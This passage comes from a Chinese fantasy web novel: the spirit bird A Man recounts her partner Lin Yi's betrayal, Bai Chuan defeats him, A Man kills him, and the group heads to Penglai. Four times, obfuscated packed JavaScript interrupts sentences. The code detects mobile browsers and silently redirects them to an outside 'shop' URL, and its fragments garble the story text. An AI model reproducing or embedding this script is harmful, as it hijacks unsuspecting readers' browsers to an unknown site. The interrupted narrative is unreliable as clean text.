所以林翼身上总笼罩着和阿蛮一模一样的灵物气息,并非因为他是阿蛮的猎物,而是因为,他本就是这对如同双生的比翼鸟中的另一位—— 从某种意义上来说,他就是另一个阿蛮。 在祁望的照顾下,阿蛮逐渐恢复了神志。 方才混沌时候的慌乱不安、紧张迫切全都消失不见,阿蛮的神色平静极了,像是一潭永远激不起任何波澜的死水。 她呆愣愣地看向白川和祁望,面对两人关切的目光,语气中带着几分自嘲:“让你们见笑了。” 白川只是摇了摇头。 “局”里的时间并不随着真实世界流转,这个黑夜很是短暂,太阳很快从院落的东面升起来,暖融融地照在几人身上。 阿蛮下意识地伸出手去遮挡,但光直接穿过她只剩下灵体的手,甚至直接穿过她的身体,在地上没留下一点儿影子。 “我这算是……死了么?”阿蛮开口,声音比寻常还要娇俏,像是个十几二十岁的小姑娘,“原来死了是这种感觉的么?” 白川否定道:“没有死,灵体还在,就总有办法恢复的,你放心。” 但阿蛮似乎并不是很关心自己的死活,她自顾自地开口:“其实我知道你们是什么人,一早就知道,你们是异能者,就是抓我们的。” 白川犹豫了一瞬,然后开口:“我们只抓作恶的灵物。” 阿蛮忽然笑了笑:“这个我也知道,所以我不怕你们。我不是作恶的灵物。因为有人告诉过我,只要我不害别人,别人就不会害我。” 白川顺着她说的话点了点头。 阿蛮笑着笑着,慢慢地,上扬的嘴角垂了下来,她也跟着低下头去。她的肩膀一顿一顿的,等她终于抬起头来,脸颊已经挂满了眼泪。 她带着哭腔开口:“你说,说这话的人是不是在骗我?为什么我从来不害人,却还是会有人想害我呢?为什么我那么爱他,他却还要骗我呢?” 她哭得越来越厉害,上气不接下气,好像连站着的力气都没有了,整个人蜷缩起来,变成很小的一团。 白川走上前,伸出手,在她肩头的位置虚空地拍了两下。 她忽然甩了甩头,用双手胡乱擦掉泪水,然后仰起头,对着紧闭的院门,一顿一顿地念诵着: “婚礼将启,整肃立——” “请君安坐,以待正礼——” 寂静的结界里又刮起一阵风,昨日布置好的红绸迎风飞扬。 关好的院门忽然被风吹开,远远地,白川看到院落里走过来两个人——红袍重饰,是一对新人。 在白川的身侧,阿蛮忽然抬手指了指那对新人,轻飘飘地开口:“你们看,那是我,那是曾经的我们。” 风吹动女孩子脸上蒙着的盖头,白川看清了那人的面目——虽然算不得倾国倾城,但也是明眸皓齿,青丝如瀑,和眼前平庸到近乎丑陋的阿蛮看不出任何相似。 两人走得越来越近,林翼原本被树影遮住的脸也彻底暴露在白川的视线里。清秀俊朗还是称得上的,但和那张能在娱乐圈杀疯了的脸实在是天差地别。 看到白川和祁望脸上的疑惑,阿蛮自嘲一般地笑了笑:“很不像我们,对吧?你们是不是也会好奇,为什么他这样光彩夺目的人,却偏偏和我是天选的良配,偏偏要和我这样庸碌至极的人比翼齐飞?” 院子里面,红衣黑发的两位新人正在拜天拜地拜这亘古长久的命定爱情。 院子外面,阿蛮看着自己当年的影子,无奈地摇了摇头,缓缓开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300249|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“本来不是这样子的。” 本来不是这样子的。 那是很久很久之前的事儿了。 那时候,天地混沌初开不久,灵物横行,人类还没有出生。 灵物大多嗜血而薄情,弱肉强食,要么杀掉其他灵物,要么被杀,那是那时候的丛林法则。 我生在崇吾山,是一只残缺的鹏鸟,只有一只翅膀,一只眼睛,无法自在地遨游于云天之上。 可能听起来很惨,但我并不这么觉得——因为我身边还有另一只鹏鸟,就是你们知道的林翼——他和我一样,只有一只翅膀,一个眼睛。 我们都是残缺的,但当我们聚在一起,就仿佛比世间所有都要更圆满。 我们结伴而行好多好多年。 游历山川,踏遍八荒,把足迹留在了数不清的地方。 我们看过太多为了短暂利益凑在一起的灵物们反目为仇,就更加坚信,只有我们之间这种天生的契合才是最为可贵的,最值得珍视,最称得上永恒。 我们也曾经被卷入那场困住所有了灵物的变故中,被关了几十年。可纵然是沦为阶下囚的日子里,我们还是相敬如宾,形影不离,羡煞旁人。 再后来,我们又回到了崇吾山。 那时候,人类已经成为了世间的主宰,我们这些灵物也经过了点化,学会了隐去本体,常常以人类的面目出现。 我们跟人类学到了很多东西,比如搭建了属于我们两个的屋子,不再露宿于巢穴之中,还学了人类的礼法,办了一场迟来了很久的婚礼。 婚礼上没有什么海枯石烂的誓言,因为比起我们这些上古灵物的生命来说,石头和海水确实不是什么足够漫长的东西。 我记得当时他对我说:“我会一直陪着你,直到生命的尽头。” 讲到这里,阿蛮忽然笑了:“这么说来,他确实也算是遵守诺言了,现在杀掉我的话,他也算陪我走到了生命的尽头。” 白川不懂怎么安慰一个人,好在阿蛮看起来并不需要安慰。 她继续慢悠悠地讲述着: 我其实不确定从最初到现在到底过去了多久,可能是几千年吧,我说不清。 总之很漫长,漫长得近乎永恒。 我们的故事几千年如一日,没有什么变化的,直到这几年。 这几年人间发展得很快,电视、手机、网络……一些我们见所未见的东西出现了,就好像是人类这个没有异能的弱小族类,自己创造了自己的异能。 他们不需要翅膀就可以飞到天上,不需要千里眼和顺风耳就能和远方的亲友长谈。 人越来越多,显得我们这些藏在人海里的灵物越来越渺小。 有一天,林翼忽然和我说,作为一个灵物,一直伪装成普通人,实在是有些浪费天赋。 我觉得他说得有道理,他总是说得很有道理。 然后他和我说,他想做出一些改变,不想再藏在人群里,不想再做一个普通人。 他说他想问我借一些灵力,这样可以支撑他在幻化成人形的时候更加出众夺目一些,他说他也想体验一次在人间追光逐梦、披荆斩棘的感觉。 “所以你就这么同意了?”祁望问道。 “对,”阿蛮点头,“因为我以为这是很小的一件事。毕竟人类的生命只有短短数十载,对于我们漫长的生命来说不过是一阵风。” “我不介意在这阵风吹过的时候,坐在泥土里,看着他在云天之中起舞。”阿蛮很认真的说,眼神亮晶晶的,白川透过那双眼睛,仿佛看到了十几年前许下约定时候,那个天真的对爱人充满信任的阿蛮。 “我也没有想到,后面会变成这样。”说到这里的时候,阿蛮的眸子终于还是黯淡了下来。 9. 后来 后来林翼确实如约成为了光彩夺目的人,可能比他计划中的还要更出众些。 然后,他开始醉心于纸醉金迷的世界,起初还和阿蛮维系着地下情侣的关系,但是渐渐的,以工作忙碌为由,他们见面的机会越来越少。 不过阿蛮也不介意,几个月或者几星期对她来说都太短暂了,而且她还能通过人类的网络经常关注到林翼的动态。 她就像是一个小粉丝,闲下来的时候就去搜集林翼的各种讯息,把他耀眼的样子打印下来,留在匣子里。 那时候她还在想,等林翼经历过这万众瞩目的人类的“一生”后,等他再回到自己身边,她就会把匣子里的照片翻出来,一页一页给他看。 一边翻,一边还会跟他说: “你看,这是你参加选秀综艺的第一个舞台,你那天的头发颜色真好看。” “你看,这是你第一次登上领奖台,所有人都说你实至名归。” …… 她那时候想得很好很好,她想,就算再过去很久很久,他们关于这时候的记忆都不再明晰,至少她还为林翼保留了他最耀眼夺目的样子。 林翼也会永远在那些照片上闪闪发光。 她为他们两个构想过无数种未来,却唯独没有想到这一种——唯独没有想到原来林翼会在经历过顺遂耀眼的人生后,厌弃数千年如一日的寻常安稳,更加厌弃从始至终跟在他身边的自己。 恋综不过是最后一根稻草,没有这场恋综,也会有别的什么——比如被狗仔拍到的深夜酒店幽会,比如在片场和某个精致靓丽的女孩眉目传情…… 他们的关系走到这里已经岌岌可危,千斤的重担只剩一根细线连着,随便来阵风,细线都会断掉。 院子里面,一对新人的影像早已消失不见,红绸褪色,锣鼓生锈。 阿蛮盯着那边看了好一会儿,终于还是把头扭了回来:“很长很长时间以来,我的世界里好像都只有他一个人,我只和他说话。所以这些事压在我心里很久了,一直找不到人倾诉,我偶尔匿名在网络上发帖子,只会被他的粉丝们当成不知天高地厚的私生粉或者梦女。今天你们能听我说这些,真好。” 与此同时,白川忽然听见远处传来了脚步声。 伴随着脚步声的还有一声声呼喊:“阿蛮——阿蛮——” 白川和祁望沉默着对视了一眼,看来是林翼发现了自己的送魂阵被人做过手脚,正在确认阿蛮的死活。 听到林翼的声音,阿蛮刚刚平静下来的情绪又剧烈波动起来,她似乎很想冲出去和他对峙,却又在犹豫着什么。 白川忽然开口:“你可以让他付出他该有的代价,不算你害人,我们也不会因此把你看作恶灵。” “谢谢你。”阿蛮朝白川笑了笑,又说了那句话,“你是个好人。你很像我曾经见过的一个人,不过那是很久很久之前的事儿了,他也是个好人,就是他跟我说,要做好事,不要害人。” 她闭上眼,嘴里念念有词,几秒钟后,院落正中出现两扇门。 其中一扇门里,走出来了游雾他们几人,而另一扇门大开,内里黑漆漆的。 “你们走吧。”阿蛮说,“从那扇门走出去,就能离开这里。” 一直远程围观的游雾凑了过来:“那等你出来之后,可以来金陵路37号来找我们,我们有办法帮你从灵体状态中恢复。” 阿蛮笑着点了点头。 白川却从她的笑容中看出了些什么,他问道:“你根本没打算离开是么?” 阿蛮似乎是不想对白川说谎,只是解释道:“我的大半灵力都转借给他了,他一直忌惮我,并非因为我比他强大,只是他知道,硬碰硬的话,一定是我赢,因为我有死志,而他还想活着。他来找你们对付我应该也是这个目的,他自然是不想和我一起赴死,于是想借你们的手,彻底除掉我。” 看到眼前几人关切的神情,阿蛮居然成了那个宽慰别人的人:“别担心我,我真的已经活了很久很久了,如果是这个结局的话,对我来说并不亏。这是个很好的结局,真的。” 白川示意游雾把那些无关的路人先带出去,游雾虽然犹豫,但也还是照做了。 他想让祁望也跟着一起离开,但祁望抱着胳膊站在旁边,满脸写着“疗愈系的我还在这儿等着救人呢”。 于是白川就也没坚持赶走他。 “我很少和他之外的人接触,也没有什么朋友,能在生命最后的阶段认识你们,我很高兴。”阿蛮还在笑,笑容并不好看,但显然发自内心。 林翼的喊话声越来越近了。 阿蛮催促着他们快点离开。 白川却没理,他也朝阿蛮笑了笑,然后很笃定地说:“阿蛮,这不应该是结局,也不会是结局,这是个开始。” 林翼的身影终于出现在转角处,还没等阿蛮迎上去,白川轻声对阿蛮说:“很抱歉没有给你亲手终结一切的机会。” 周遭忽然响起呼啸的风声,风声经过之处,竹林倒伏,硬生生在这精致的园林布景里吹出一片空地来。 “白先生你这是要做什么?”林翼装出一脸无辜的样子,“怎么没来由地火气这么大?” “没来由么?”白川懒得和他周旋,面色冷冰冰的。 林翼看见了站在祁望身边的阿蛮,也看出白川来者不善,于是也不再伪装,撕开一向柔和温顺的面具,怒目圆睁,咬牙切齿道:“我再给你们最后一次选择的机会,多管闲事的人,今天都会死在这里。” 而白川甚至懒得和他讲话,好看的薄唇抿成一条线,看向林翼的目光就像是在看什么死物。 周遭的风刮得更强劲了些,风漩卷起的落叶和草木高速飞舞着,有几片碰到了林翼,锋利的边缘直接在他的衣服和皮肤上留下了狰狞的口子。 林翼奋力在风暴中站稳身子,竭力地嘶吼着什么,一阵强光忽然闪过,林翼消失不见。 紧接着,伴随着尖锐的鸟鸣声,一只皓翼炬眼的鹏鸟腾风而起,凌驾云端。 那只一只完整的鹏鸟——阿蛮将灵力移转给他之后,他生出了另一只眼睛和翅膀,不再残缺。 鹏鸟在云天之上扇动他的翅膀,无数火团从他的羽翼间落下,结界中的园林瞬时化身火海。 但白川连神色都不曾变过,他游刃有余地为祁望和阿蛮施加了庇护的法术,然后,周身的风暴越来越强,竟然携卷着遍地的火焰,向空中的鹏鸟追去。 火焰燎到了林翼的尾羽,将那漂亮的羽翼烧得漆黑,也彻底激怒了他。 他几次以鹏鸟的形态俯身盘旋而下,似乎想用他的利爪捉住白川。 但白川身法灵活,神出鬼没,林翼几次都没能得手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300250|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的鸣叫声越来越凄厉,混杂着狂躁的风声,像是万鬼同哭。 天空中,不知什么时候开始阴云密布,和祁望待在一块的阿蛮忽然紧张起来,她连声提醒白川小心,但是距离太远了,也不知道白川有没有听见。 鹏鸟的翅膀挥舞起来,云层中忽然引下来一道闪着寒光的雷电,直直地朝着白川劈过来。 而白川甚至没有躲。 他面对面地朝着林翼站着,衣角被风吹得凌乱,但他屹立不动,忽然也念念有词地念诵着什么,那道虚空中的闪电竟然换了路径,直奔林翼而去。 林翼来不及躲避,在空中遭了这么一下子,径直地坠落下来。 地面上,阿蛮的身子忽然往前探了探,像是想要冲上去护住他,像是肌肉记忆一般。 但她立刻回过神来,退后了几步,把脸别开,没再看向林翼的方向。 身形庞大的鹏鸟将地面上砸出一个深坑,他羽衣焦黑,气息微弱,半边翅膀受了重创,彻底折了下来,闪电的光芒也刺瞎了他的一只眼睛。 白川走近奄奄一息的林翼,看着他费劲心力骗来了一翼一目,到最后还是失去了,只觉得世间万物着实奇妙,像是有一只看不见的手在波动命运的齿轮,偏转不了一分。 林翼仅剩的一只眼睛也已被鲜血糊住了,视线并不清晰,他隐约看到有人影在靠近自己,很想撑起身子来说些什么,但是一开口就是剧烈的咳嗽,破碎的内脏里滞塞着凝固的血块,他疼得龇牙咧嘴。 他很费力地开口,断断续续道:“你……怎么会……” “我怎么会?”白川反问,“我怎么也会操纵闪电?我怎么会帮阿蛮?这些和你有什么关系么?你就要死了,不如留着你的力气问些该问的话吧。” 他的身后,祁望和阿蛮也一步步地走来。 林翼瞥见阿蛮的身影,就像溺水的人抓住了救命的稻草,他用残破的喉咙喊着:“救我,救我,我错了,阿蛮,救我……我错了,我都可以改的!我好好对你,我把所有的灵力都给你!” 白川扭头去看阿蛮的反应,阿蛮的眼神里流淌过一瞬的不忍心,不过只是一瞬,下一秒,她忽然抬起手,朝林翼掷出一个什么东西。 那东西的速度很快,刺破空气,正中林翼的胸口。 林翼像是还没反应过来一样,低头看向自己鲜血洇开的胸膛,一脸的不可置信。 终于终于,他睁着眼睛,吐出了最后一口气。 直到死,他大概都没有想到,他会死在阿蛮手里—— 那个永远对他言听计从的阿蛮,那个全世界最不可能抛弃他的阿蛮,那个和他最相配的阿蛮。 白川凑近检查林翼的尸体,只见他的胸口埋入的是一块小巧的玉佩,白川觉得那玉佩很是眼熟,然后后知后觉地意识到,那是林翼和阿蛮成婚那天,佩戴在阿蛮腰间的玉佩。 原本润白无瑕的玉石上沾上了焦黑的鲜血,变得粘稠又恶心,就像阿蛮和林翼那段曾经为人钦羡的爱情一样。 林翼死掉后,结界也越来越不稳定,白川催促着阿蛮跟着他们两个一起离开。 阿蛮点点头,离开结界的前一秒,她忽然回过头,看了林翼最后一眼,然后决绝地转身。 她知道这是她最后一次回头,因为她方才答应过白川,从此,她只向前看。 10. 关系 林翼意外去世的事儿在娱乐圈掀起了腥风血雨。 粉丝们在恋综录制场地外哭天抢地,要资方给他们个说法。 还有不少人在各路论坛发些阴谋论的帖子,坚定地认为这绝不可能是意外。 和他相熟或者不相熟的圈内好友都纷纷在镜头里惋惜他那耀眼却实在短暂的人生。 连之前黑他的营销号都开始猫哭耗子,叹息他的英年早逝,说什么天妒英才。 而另一边,阿蛮被白川带回山海联盟在江市的据点,疗愈系的祁望这回终于派上了大用场,他用了个众人都没听说过的法子,竟然让阿蛮在一个月之内重新生出了躯干来。 不是人类的躯干,只是一只幼鸟。 很小很小的一只,但有两只翅膀,也有两只眼睛。 阿蛮的灵体和这只幼鸟的躯体彻底融合的瞬间,她听到白川在她耳边轻声说:“从此你有了双目和臂膀,再不必依附任何人。” 后来,白川和祁望把阿蛮送回了崇吾山。 沧海变幻,她当年的巢穴早已消失不见,但她还是扑扇着她那稚嫩的翅膀,一点一点飞到崖壁上,衔起草枝,为自己搭了新的避风港。 离开崇吾山的路上,白川整个人都兴致缺缺,看起来有点失落。 “怎么了川哥?心情不好?”祁望关切地凑过去,“你放心啦,她毕竟是个灵物,就算现在看起来只是一只小鸟,也还是会平安顺遂,长生无忧。” 白川摇了摇头:“我知道。” “那你在想什么?”祁望很是刨根问底。 看着祁望真挚的眼神,白川也不再随口搪塞,而是认真道:“你觉得这是个好结局么?” “啊?”祁望似乎没意识到白川会从这个角度提问,回过头来之后回复道,“恶人死掉,好人长生,怎么不算是好结局呢?” 白川点头,却又开口:“但她失去了很多。” 祁望忽然笑了:“川哥,你今天实在有点不像你。” “怎么?”白川不解。 “我以为你会说些什么‘失去才是生命的常态’,‘不值得的东西失去了也无所谓’这一类的话。”祁望解释道,“我以为把阿蛮困住的那些小情小爱对川哥来说,不值一提毫不重要。” “你是在说我没有心么?”白川平静地反问。 祁望却好像正经不过三秒钟,忽然又开始嬉皮笑脸:“我可没说过这话!你不要污蔑我!川哥怎么可能没有心?川哥你在阿蛮的局里还为我‘心动’来着你忘了么?都能心动怎么会没有心!” 白川没再回话,他靠在汽车座椅上,放松了身体,闭上眼睛。 但其实他并没有睡着。 他反复琢磨着祁望说的话,他意识到,来到江市的这段时间以来,他看过太多灵物和人类之间的纠葛,他确确实实觉得,那些灵物或者人类在意的东西很多时候都是无关紧要的。 那些家伙为无关紧要的东西奔走,为无关紧要的东西争执,为无关紧要的东西付出很多代价。 他总是很难理解他们。 而阿蛮却让他这无懈可击的观点或者思维第一次遭到冲击,他第一次从当事人的视角去思考事情,而不再只做个旁观者。 也是第一次,他意识到,在意那些看似无关紧要的东西,其实并不愚蠢。 或许每个人都会有这样的东西,在别人看来一文不值,自己却发自内心地珍视。 或许有一天自己也会如此,不过只是或许。 白川就这样漫无边际地想着,然后不知不觉地,陷入了沉沉的梦境。 再次醒过来的时候,白川意识到他们已经回到了山海联盟A组据点的楼下。 A组的据点在江市的旧城区,是一栋占地面积颇大的老洋房,据说早几十年的时候,这栋楼是江市名流荟聚的地方。 岁月变迁,这栋洋房后来空置过,又转了几次手,最后到了游雾手里,被他修缮了一番,当作是A组的办公地,还留出了一层供单身没家庭的成员们免费居住。 白川三个多月前来到江市,加入山海联盟后也没什么地方可去,干脆就住在了这里。 而祁望最近这段时间总习惯跟在白川身侧,就也自然而然地住下了。 两人这会儿就在据点后院的停车场里。 迷迷糊糊地看了眼时间,白川才清醒过来,看样子车已经停了很久了,但祁望一直没叫醒他。 “醒了?”坐在他身边的祁望轻声道。 白川又揉了揉眼睛,开口的声音带着点儿刚起床的沙哑:“怎么没叫我?” “看你最近太累了,想让你多睡一会儿。” 白川低头看见了盖在自己肩头的外套,又瞟到了身边只穿着一件薄T恤的祁望,忽然不自在起来,连忙坐直了,把外套拿起来递给祁望:“谢谢。” “谢什么?”祁望又开始胡言乱语,“咱俩这什么关系?差点拜堂成亲的关系好吧?你还要为一件外套谢我么?” 白川忽然觉得自己这句谢谢说早了。 跟这家伙就不应该说什么好话。 不过话说到这里,之前一直存在心里的困惑倒是不如一口气问出来了。 于是白川忽然开口:“你在阿蛮的局里,到底是怎么让灵器相信我们……” 白川的话戛然而止,“成过婚”这几个字居然怎么也说不出口。 祁望却看热闹不嫌事儿大,明明知道他要说什么,却还是想诱导他说出来:“相信我们怎么?” 于是他遭了白川的一记眼刀:“算了,你不想说的话就算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300251|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说着,白川伸手去开车门,袖子忽然被祁望拉住了。 “说说说,”祁望还是笑着,“川哥想听的话,我都可以说。” “不想听。”白川还是去够车门。 没料到祁望死皮赖脸:“那我求你听。” 白川听了这话,终于安稳地坐下了。 祁望笑道:“我之前说过,我的异能是疗愈系的,没什么其他的法术,但也不代表我什么都不会。比如我刚好体质比较特殊,很多灵器遇见我了都会失灵。” “灵器失灵?”白川没听过这种情况,颇为好奇地重复道。 “对,”祁望松开了扯着白川衣袖的手,应声道,“我也不知道为什么,这种用来检验东西的灵器尤其是,遇到我的时候总会混乱掉,不过这么多年,我还是第一次觉得这个特质是有用的。” “诶?川哥,祁哥,你们回来啦!” 车窗外忽然有一束手电筒的光照过来,然后白川他们听到了游雾的声音。 二人应声下了车,看到裹着睡衣的游雾走了过来,游雾玩笑道:“我就说觉得外面有动静,原来是你们回来了,怎么回来了不进屋,在外面聊天都不带我?” “白川在车上睡着了,刚醒,我们正要去找你。”祁望温声道。 游雾困得打了个哈欠,然后挠了挠他睡得乱七八糟的头发:“先进屋吧,外面多凉。” 两人一前一后地进了屋,把东西丢进各自的房间里,然后三人又在客厅碰了面。 几人随意聊了几句在崇吾山的见闻,游雾瞄了一眼挂钟已经指向3的时针:“早点睡吧两位,明天一早,我们还要去蓬莱神殿呢!” 祁望却忽然皱起了眉头:“去蓬莱神殿?明天么?这么突然?” “对啊,”游雾忽然拍了拍脑袋,“啊……你瞧我这记性,通知了川哥之后忽然被别的事儿岔开了,忘了通知你了,实在是对不住祁哥!主要是上次阿蛮那个任务后,川哥的积分升到了A级,咱们山海联盟的习俗,A级的队员是要去蓬莱神殿拜拜神明的,据说运气好的话,可以见到神明的真身呢,祁哥你明天时间怎么样?能来么?” 祁望犹豫了几秒钟,摇了摇头:“实在不巧,明天有点儿急事要去处理,赶不上了,下次吧,下次一定。” “啊……那好遗憾……”游雾叹了口气,忽然想到了什么,“不过也没事啦,祁哥你自己也很有天赋,多做些任务,过段时日,说不定你自己也升到A级了,那时候我们陪着祁哥去见神明!” 祁望没说什么别的话,只是点头应下了。 而后三人各自回到了自己的房间,陆续熄灯休息。 白川和游雾都没有注意到的是,时针指到4的时候,祁望房间的门,悄无声息地打开了。 11. 蓬莱 老洋房旁边有一处公园,晚上八点就闭园了,这会儿早已清空了游人,连个保安都不会有。 而这本应空无一人的公园里,此刻却站着两个人。 一个身材高挑,穿着宽松的黑色风衣外套——正是刚从游雾家里溜出来的祁望。 而另一个是个圆脸双马尾的小女孩儿,十二三岁的样子,看起来乖乖巧巧的,活泼灵动。 小女孩儿的声音很甜很清脆:“老大你也太谨慎了!你信不信?就算你在卧室里把我放出来,他们也不会注意到的!” “万一呢?”祁望反问道。 “哪有什么万一!我可一直偷看着呢,”小女孩不以为然,“他现在的能力大不如前,躲过他的眼睛而已,这点儿小事儿我还是做得到的!” 祁望不想和她争执这个,而是直接问她:“我看这段时间你好像一直有话想说,所以叫你出来,说吧山海,什么事儿?” 被叫作山海的小丫头哼了一声:“你也知道我想说话!一见到白川你就把我丢到不知道哪里去了,你忘恩负义!过河拆桥!见色忘友……” 这个不大点儿的小家伙像是要把成语词典里所有骂人的词全都捋一遍,祁望见状提醒道:“说正事。” 山海噤了噤鼻子,仰起脸:“我在结界里面好多次想帮你们,你都不理我的!” “帮我们?” “对啊!”山海气鼓鼓地说,“刚一进到结界里,我就知道他们是崇吾山那两只鸟了,你要是早把我放出来,半个小时不到就能破了那个局!” 祁望明白了小丫头的情绪,忽然笑了笑:“但那样就没意思了。” “什么没意思?”山海不解道。 “不是你们小孩子该研究的。” “你才是小孩子,你们全家都是小孩子!”山海气得直跳脚,但是小小的个子,跳起来也没有多高,“我明明和你年纪差不多大,你别总把我当小孩子!” “好好好,不是小孩子,我们山海不是小孩子。”祁望说着这样的话,用的却还是哄小孩儿的语气,过了一会儿,才耐心道,“还没到时候,你最近还是不适合在白川面前出现,委屈你继续躲躲了。” 山海内心不满,但是出于“不是小孩子就要懂事了”这样的念头,还是不情不愿地点了点头。 然后她忽然问道:“明天他们是要去蓬莱?” “对。” 山海也皱起眉:“但是明天是阴历十五,是你发病的日子……” “嗯。”祁望应声。 “那怎么办?” “还能怎么办呢?”祁望微微转头,朝向海岸的方向,“那就只好让他扑个空了。” * 翌日,白川收整好自己的东西,跟着游雾来到了十号码头。 离开之前他还去敲了敲祁望的房门,没人回应。 看来确实是有急事,也好,没有这个聒噪的胡言乱语的家伙在身边,倒也消停。 白川这样想着。 游轮一路上摇摇晃晃,踏着万顷海浪,向蓬莱驶去。 蓬莱对于他们这些异能者来说是朝圣的圣地,而对于那些普通人来说,既是求神拜佛的灵验之地,又是景色宜人的休闲去处,向来是游客不断的。 坐在白川隔壁的一个小男孩儿忽然伸出肉乎乎的小手,指向舷窗外露出个小尖儿的岛屿:“妈妈你看!是岛!是岛!” 他的妈妈把手指放在嘴唇上,示意他小点儿声,然后也压低了声音跟他说:“对,是岛,是蓬——莱——岛。” 她特意拉长了声音,大概是在教他念诵。 男孩儿也很懂事,放低了音量,一个字一个字地跟读,奶声奶气的:“蓬——莱——岛。妈妈,蓬莱岛是什么地方哇?好玩吗?” 男孩儿的妈妈温声讲道:“那可不是玩的地方,多多记不记得妈妈之前给你讲过,蓬莱岛啊,有个神仙。” “神仙?”叫多多的小男孩儿的眼睛瞪得圆溜溜的,“神仙是白胡子老爷爷吗?他可以实现愿望吗?” “不知道他是不是白胡子老爷爷,但是他会帮多多实现愿望的。” “什么愿望都可以吗!”小孩子兴奋扑进妈妈的怀里。 “嗯嗯,都可以。” 白川听着这对母子温馨的对话,脸上不自觉地浮现出淡淡的笑容来。 他莫名地觉得这个场景很熟悉,就好像自己也曾经跟什么撒着娇说着这样的话,或者是听过什么人说这样的话。 但这种熟悉感一闪而过,他也没太在意。 他只是扭过头去,透过舷窗远眺,终于,他看见了远处烟云缭绕的蓬莱。 盛夏的蓬莱被枝繁叶茂的绿树包裹着,船行驶得越来越近,白川觉得有一种类似生命力的东西扑面而来。 来过好几次蓬莱的游雾像导游一样小声介绍着:“怎么样川哥,是不是感受到了这地方灵力的充沛?” 白川点头。 游雾忽然又好奇地问道:“对了川哥,我记得之前就提过想去蓬莱来着,方便问一下你到底为什么一定要来蓬莱么?” 白川犹豫了一下,游雾以为他不想说,连声道:“没事儿,我知道的,人都有秘密嘛,你要是不想说咱们就不说!” “也不是什么秘密,没有记忆的人,能有什么秘密呢?”白川的目光眺望远处的海岸线,语气淡淡地说道。 他没说谎,他确实是个没有记忆的人。 三个多月前,他在一处未经旅游开发的,荒无人烟的海滩上醒来,头疼得厉害,记忆全失,对之前发生的所有事情都没有印象,只恍恍惚惚地记得自己的名字叫白川。 他运气很好,刚好遇见了在附近出任务的游雾,游雾见他无处可去,就想把他带回联盟安置,没想到在回去的路上不小心撞见了一个新的结界。 游雾本想让白川躲远一点,没想到懵懵懂懂的白川竟然轻而易举地破解了那个结界的术法,甚至在破解之后都没意识到自己刚刚到底做了些什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300252|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >游雾惊喜于自己居然随手捡回来了一个天赋流选手,一回到联盟,就忙着给他办加入联盟的手续,还抽空带他去医院做了全面的体检。 体检的医生说白川的身体没有什么问题,脑子看起来也没问题,记忆全失可能是受到了什么冲击,大脑开启了自我防护功能,主动忘掉了一些记忆,也许会随着时间慢慢推移,逐渐回想起来。 那会儿有联盟的老队员跟他说,这种人类医学解决不了的问题,或许有机会的时候可以去求一下蓬莱神殿那位神明,神明无所不知,无所不能,或许能帮他想起来这些。 托着脸听故事的游雾这才恍然大悟地点头:“对哦,都说那位神明灵验极了,如果川哥你这次真能见到他,那失忆的问题肯定能解决掉的!” 白川点点头。 他的话止步于此,并没有说更多。 很快,游船靠了岸,白川和祁望两人跟着众人走下了船。 蓬莱岛其实蛮大的,但是开放给游人的地方只有正东面的一小块地方。 据说旅游局也曾经试图开拓其他的区域,但派去的施工队要么设备故障,要么人员生病,每次都搁置下来了。 久而久之,人们只当岛上的神明不想被过多打扰,就只在东面建了座神殿,立上神明巨大的石像。 石像的形象是按照信众们口口相传的样貌雕刻的,和人间庙宇里那些神佛不太一样,长身玉立,眉目淡然,比起神像,更像是一个长得端庄好看的人类。 于是也有信众们传说,说这位神明本就是人类,得上天的授意,修炼多年,肉身成神。 传闻纷繁复杂,真真假假,信众们倒也不那么在乎。 没有人会在意一个神明从何而来。 他们只在意他是否灵验,能否为自己提供庇护。 而在这一点上,据说这位神明做得很不错。 消灾去病,保佑平安。 人们都说神明灵验得很,很有仁心。 于是神殿里总摆满了信众送来的花束,石像是一席白衣,于是人们揣测神明喜欢白色,送来的都是白色的花,白色的风铃、白色的桔梗、白色的郁金香…… 